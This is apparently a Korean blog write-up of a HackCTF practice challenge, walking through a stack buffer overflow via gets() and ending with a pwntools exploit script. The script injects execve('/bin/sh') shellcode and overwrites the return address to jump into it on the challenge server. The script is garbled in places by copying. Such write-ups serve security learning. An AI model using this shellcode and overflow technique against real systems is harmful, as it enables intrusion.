HACKCTF - 내 버퍼가 흘러넘친다!!!

2020. 7. 9. 07:26CTF's Write-up

문제 화면

 

 

뻔한 BOF문제로 유추가 되니 일단 실행시켜보겠습니다.

 

실행결과

별다른 출력없이 입력만 받고 끝나는걸 확인할 수 있습니다.

 

main 함수

 

main함수를 보면 9번째에서 gets에서 입력값에 제한을 두지 않으니 bof가 일어나는것을 확인할 수 있습니다.

그리고 여기서 함수 목록을 보면

 

함수 테이블

 

 

별다른 직접 shell을 가져다 주는 함수를 발견할 수 없는데 어떻게 풀이를 할까 고민하다가

직접 쉘코드를 넣는게 가능할까 생각을 해봤더니 

 

보호기법 확인

 

NX가 가능하니 쉘코드를 직접 넣으면 될거같네요.

 

즉 메인함수를 다시 확인하면

 

main 함수

1. name에 쉘코드를 넣고

2. s를 bof시켜서 리턴을 name변수로 가게끔 하면 쉘을 얻을 수 있을 것 같네요.

 

S의 크기는 보이는것처럼 0x14이고 SFP까지 고려해주면 아래와같이 페이로드를 작성할 수 있겠네요.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
 
= ELF("./prob1")
= remote("ctf.j0n9hyun.xyz"3003)
#ls = process("./prob1")
context.log_level = 'debug'
 
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
name_add = 0x0804A060
log.info(r.recv())
 
payload = shellcode
r.sendline(payload)
 
log.info(r.recv())
payload = ""
payload += "A"*0x14 + "A"*0x4
payload += p32(name_add)
r.sendline(payload)
 
r.interactive()
cs

 

보통은 몇번 실패하고 코드수정해서 익스되는데 한번에 성공해서 너무 행복했습니다 ㅎㅎ

 

익스사진

 

성공~ (grin)

'CTF's Write-up' 카테고리의 다른 글

HACKCTF - Button  (0) 2020.07.09
HACKCTF - Home  (0) 2020.07.09
HACKCTF - Hidden  (0) 2020.07.08
HACKCTF - Basic_FSB  (0) 2020.07.08
HACKCTF - /  (0) 2020.07.07